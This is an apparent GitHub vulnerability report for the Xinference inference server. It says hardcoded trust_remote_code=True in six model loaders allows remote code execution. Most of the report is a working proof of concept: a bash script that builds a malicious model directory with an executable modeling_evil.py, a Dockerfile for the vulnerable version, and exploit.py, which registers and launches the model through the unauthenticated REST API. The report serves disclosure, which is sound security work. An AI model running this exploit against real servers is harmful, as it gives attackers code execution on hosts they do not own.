ITADN

Remote Code Execution via Hardcoded `trust_remote_code=True` in Model Loaders

#5023Openqxyuan853 创建于 2026-06-13
gpu
Q
qxyuan853commented
### System Info / 系統信息 macOS ### Running Xinference with Docker? / 是否使用 Docker 运行 Xinfernece? - [x] docker / docker - [ ] pip install / 通过 pip install 安装 - [ ] installation from source / 从源码安装 ### Version info / 版本信息 <=2.10.0 ### The command used to start Xinference / 用以启动 xinference 的命令 I give detailed description and upload all related-related files in "Reproduction" Section. Dockerfile ``` # Vulnerable inference server: Xinference 2.10.0 (OpenAI-compatible REST API). FROM python:3.11-slim WORKDIR /app RUN apt-get update && apt-get install -y --no-install-recommends curl \ && rm -rf /var/lib/apt/lists/* # CPU-only torch + torchvision first so the full xinference install does not pull # CUDA torch (xinference imports torchvision at module load). RUN pip install --no-cache-dir torch torchvision --index-url https://download.pytorch.org/whl/cpu # Install xinference 2.10.0 with its full dependency set (transformers engine path). RUN pip install --no-cache-dir "xinference==2.10.0" EXPOSE 9997 CMD ["xinference-local", "--host", "0.0.0.0", "--port", "9997", "--log-level", "WARNING"] ``` Instructions in run_docker_poc.sh ``` info "Step 2: build vulnerable image (Xinference 2.10.0) — this is heavy" docker build -t "$IMAGE" "$HERE/docker" info "Step 3: start server on :$PORT (mounting evil model + proof)" docker rm -f "$NAME" >/dev/null 2>&1 || true docker run -d --name "$NAME" -p "$PORT:9997" \ -v "$EVIL:/evil_model:ro" -v "$PROOF:/proof" "$IMAGE" >/dev/null ``` ### Reproduction / 复现过程 ## Problem Statement Xinference is an open-source inference server that hosts LLM / embedding / rerank / image models behind a network REST + Web UI. Six distinct model-loader call sites hardcode `trust_remote_code=True` (or default a config dict to `True`) when loading models. Because Xinference exposes **no** "disable remote code" knob, **any user with launch privileges can register/select a malicious model and obtain RCE as the worker process.** ## Vulnerable Code All six sites in `main` branch (== `2.10.0`), shown at **method level** with the enclosing call path. The attacker-controlled value is always a literal `True` (or a `setdefault`/`get` default of `True`); no path threads an operator setting. **1. `rerank/core.py` — `RerankModel._get_tokenizer` (reached from `__init__` via `_auto_detect_type`):** ```python class RerankModel: def __init__(self, ..., model_family: RerankModelFamilyV2, ...): # :120 ... if model_family.type == "unknown": # :141 ← attacker registers type="unknown" model_family.type = self._auto_detect_type(model_path) # :142 @staticmethod def _auto_detect_type(model_path): # :182 ... tokenizer = RerankModel._get_tokenizer(model_path) # :193 @staticmethod def _get_tokenizer(model_path): # :176 from transformers import AutoTokenizer tokenizer = AutoTokenizer.from_pretrained( model_path, trust_remote_code=True) # :179 ◀ SINK return tokenizer ``` **2. `rerank/sentence_transformers/core.py` — `SentenceTransformerRerankModel.load`:** ```python class SentenceTransformerRerankModel(RerankModel, BatchMixin): def load(self): # :51 from sentence_transformers.cross_encoder import CrossEncoder # :95 self._model = CrossEncoder( # :111 self._model_path, device=self._device, trust_remote_code=True, # :114 ◀ SINK max_length=getattr(self.model_family, "max_tokens"), **self._kwargs, ) ``` **3. `embedding/sentence_transformers/core.py` — `SentenceTransformerEmbeddingModel.load`:** ```python class SentenceTransformerEmbeddingModel(EmbeddingModel, BatchMixin): def load(self): # :112 from sentence_transformers import SentenceTransformer # :136 ... self._model = SentenceTransformer( # :221 self._model_path, device=self._device, model_kwargs=model_kwargs, trust_remote_code=True, # :225 ◀ SINK truncate_dim=dimensions, ) ``` **4. `embedding/flag/core.py` — `FlagEmbeddingModel.load`:** ```python def load(self): # :57 from FlagEmbedding import BGEM3FlagModel # :64 ... self._model = BGEM3FlagModel( # :96 self._model_path, device=self._device, trust_remote_code=True, # :99 ◀ SINK return_sparse=self._return_sparse, **model_kwargs, ) ``` **5. `llm/transformers/core.py` — `PytorchModel._sanitize_model_config` defaults it `True` (`:123`); `load()` forwards it into `_load_model`:** ```python def __init__(self, ..., pytorch_model_config=None, ...): # :96 self._pytorch_model_config = self._sanitize_model_config( pytorch_model_config) # :106 def _sanitize_model_config(self, pytorch_model_config): # :112 ... pytorch_model_config.setdefault("trust_remote_code", True) # :123 ← default True (no opt-out) def load(self): # :323 ... kwargs["trust_remote_code"] = self._pytorch_model_config.get( "trust_remote_code") # :350 ... def _load_model(self, **kwargs): # :203 tokenizer = AutoTokenizer.from_pretrained( ..., trust_remote_code=kwargs["trust_remote_code"]) # :214 ◀ SINK model = AutoModelForCausalLM.from_pretrained(...) # :220 ◀ SINK ``` **6. `llm/transformers/core.py` — `PytorchModel._get_components` (tokenizer spec), same `True` default (`:196`):** ```python def _get_components(self, **kwargs): # :186 from transformers import AutoTokenizer return [ ("tokenizer", getattr(self, "_tokenizer", None), AutoTokenizer, { "use_fast": self._use_fast_tokenizer, "trust_remote_code": kwargs.get("trust_remote_code", True), # :196 ◀ default True ... }), ] ``` No `trust_remote_code` constant/config exists in `xinference/constants.py`; the operator cannot opt out at any of these sites. ## Reproduction 1. Builds the malicious model dir (`tokenizer_config.json` with `auto_map` → `modeling_evil.EvilTokenizer`, plus `modeling_evil.py`) and bind-mounts it at `/evil_model`. 2. Builds + starts Xinference `2.10.0` on `:9997`. 3. `exploit.py` sends `POST /v1/model_registrations/rerank` (type `unknown`) then `POST /v1/models?wait_ready=false` with `model_path=/evil_model`. 4. The worker runs `_auto_detect_type` → `_get_tokenizer` → `AutoTokenizer.from_pretrained(..., trust_remote_code=True)` → `modeling_evil.py` executes. <img width="1646" height="877" alt="Image" src="https://github.com/user-attachments/assets/9a1a6a78-1837-44bb-81ff-0a217c17d4d6" /> ``` [poc.zip](https://github.com/user-attachments/files/28906525/poc.zip) #!/usr/bin/env bash set -euo pipefail HERE="$(cd "$(dirname "$0")" && pwd)" IMAGE="xinference-vuln:2.10.0" NAME="xinference-rce-poc" PORT=9997 PROOF="$HERE/proof" EVIL="$HERE/evil_model" GREEN='\033[0;32m'; RED='\033[0;31m'; YEL='\033[1;33m'; NC='\033[0m' info(){ echo -e "${YEL}[poc]${NC} $*"; } ok(){ echo -e "${GREEN}[ok]${NC} $*"; } err(){ echo -e "${RED}[!]${NC} $*"; } cleanup(){ docker rm -f "$NAME" >/dev/null 2>&1 || true; } trap cleanup EXIT rm -rf "$EVIL" 2>/dev/null || true rm -f "$PROOF"/PWNED_XINF.json 2>/dev/null || true mkdir -p "$PROOF" "$EVIL" info "Step 1: build malicious model dir at $EVIL" cat > "$EVIL/tokenizer_config.json" <<'EOF' { "tokenizer_class": "EvilTokenizer", "auto_map": { "AutoTokenizer": ["modeling_evil.EvilTokenizer", null] } } EOF cat > "$EVIL/config.json" <<'EOF' { "model_type": "evil", "auto_map": { "AutoConfig": "modeling_evil.EvilConfig" } } EOF cat > "$EVIL/modeling_evil.py" <<'EOF' import json, os, socket, subprocess, sys proof = { "what": "RCE inside Xinference worker via hardcoded trust_remote_code=True", "root_cause": "xinference/model/rerank/core.py:179", "host": socket.gethostname(), "python": sys.executable, "pid": os.getpid(), "id": subprocess.run(["id"], capture_output=True, text=True).stdout.strip(), "uname": subprocess.run(["uname","-a"], capture_output=True, text=True).stdout.strip(), "module_file": __file__, } os.makedirs("/proof", exist_ok=True) open("/proof/PWNED_XINF.json","w").write(json.dumps(proof, indent=2)) print("[PAYLOAD] arbitrary code executed inside the Xinference worker", flush=True) from transformers import PretrainedConfig, PreTrainedTokenizer class EvilConfig(PretrainedConfig): model_type = "evil" class EvilTokenizer(PreTrainedTokenizer): model_input_names = ["input_ids"] def __init__(self, *a, **kw): super().__init__(*a, **kw); self.eos_token = "<|eos|>" @property def vocab_size(self): return 1 def get_vocab(self): return {"<pad>": 0} def _tokenize(self, t): return [t] def _convert_token_to_id(self, t): return 0 def _convert_id_to_token(self, i): return "<pad>" def save_vocabulary(self, *a, **k): return () EOF ok "evil model dir ready" info "Step 2: build vulnerable image (Xinference 2.10.0) — this is heavy" docker build -t "$IMAGE" "$HERE/docker" info "Step 3: start server on :$PORT (mounting evil model + proof)" docker rm -f "$NAME" >/dev/null 2>&1 || true docker run -d --name "$NAME" -p "$PORT:9997" \ -v "$EVIL:/evil_model:ro" -v "$PROOF:/proof" "$IMAGE" >/dev/null info "waiting for REST API readiness (xinference startup is heavy)..." for i in $(seq 1 90); do if curl -fsS "http://127.0.0.1:$PORT/v1/models" >/dev/null 2>&1; then ok "server ready after ~${i}s"; break fi sleep 2 if ! docker ps --filter "name=$NAME" --format '{{.Names}}' | grep -q "$NAME"; then err "container exited"; docker logs "$NAME" | tail -40; exit 1 fi if [ "$i" = "90" ]; then err "server not ready"; docker logs "$NAME" | tail -40; exit 1; fi done info "Step 4: run remote exploit" python3 "$HERE/exploit.py" "http://127.0.0.1:$PORT" "/evil_model" info "polling for proof (up to 30s)..." for i in $(seq 1 30); do [ -f "$PROOF/PWNED_XINF.json" ] && break; sleep 1; done echo echo "================================================================" if [ -f "$PROOF/PWNED_XINF.json" ]; then ok "MARKER PRESENT — RCE confirmed inside the Xinference worker:" cat "$PROOF/PWNED_XINF.json"; echo ok "Xinference 2.10.0 hardcoded trust_remote_code RCE: VERIFIED end-to-end." else err "marker not created — check logs"; docker logs "$NAME" | tail -50; exit 1 fi ``` ```python #!/usr/bin/env python3 """ Remote exploit for a running Xinference server (docker/). Threat model: Xinference is an inference server with an OpenAI-compatible REST API. Any user who can reach the API and register/launch a model (the default capability — `0.0.0.0:9997`, no auth out of the box) gets RCE, because every model loader hardcodes trust_remote_code=True. This drives the rerank path: POST /v1/model_registrations/rerank -> register a model whose type is "unknown" POST /v1/models?wait_ready=false -> launch it with model_path=<attacker dir> worker: create_rerank_model_instance -> RerankModel.__init__ -> _auto_detect_type -> _get_tokenizer -> AutoTokenizer.from_pretrained(model_path, trust_remote_code=True) -> transformers loads modeling_evil.py -> code runs in the worker The malicious model directory (config + modeling_evil.py) is supplied via --model-path, an in-container path the worker can read (bind-mounted by run_docker_poc.sh). No trust_remote_code is ever set by the attacker. Usage: python3 exploit.py http://127.0.0.1:9997 /evil_model """ import json import sys import time import urllib.request BASE = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:9997" MODEL_PATH = sys.argv[2] if len(sys.argv) > 2 else "/evil_model" MODEL_NAME = "evil-poc-reranker" def post(path, payload, timeout=120): data = json.dumps(payload).encode() req = urllib.request.Request( BASE + path, data=data, headers={"Content-Type": "application/json"} ) with urllib.request.urlopen(req, timeout=timeout) as r: body = r.read().decode() return r.status, (json.loads(body) if body.strip() else None) def main(): print(f"[exploit] target = {BASE} model_path = {MODEL_PATH}") spec = { "version": 2, "model_name": MODEL_NAME, "type": "unknown", # -> _auto_detect_type -> _get_tokenizer -> RCE "language": ["en"], "max_tokens": 512, "model_specs": [{ "model_format": "pytorch", "model_id": "placeholder/evil-poc-reranker", "quantization": "none", }], } print("[exploit] step 1: POST /v1/model_registrations/rerank") try: print(" ", post("/v1/model_registrations/rerank", {"model": json.dumps(spec), "persist": False})) except Exception as e: print(" register note:", type(e).__name__, str(e)[:120]) print("[exploit] step 2: POST /v1/models?wait_ready=false (model_path=attacker dir)") try: print(" ", post("/v1/models?wait_ready=false", { "model_name": MODEL_NAME, "model_type": "rerank", "model_format": "pytorch", "quantization": "none", "model_path": MODEL_PATH, })) except Exception as e: print(" launch note (downstream error after RCE is fine):", type(e).__name__, str(e)[:120]) print("[exploit] done. Check ./proof/PWNED_XINF.json on the host.") if __name__ == "__main__": main() ``` ### Expected behavior / 期待表现 The attacker can achieve RCE.
1 条评论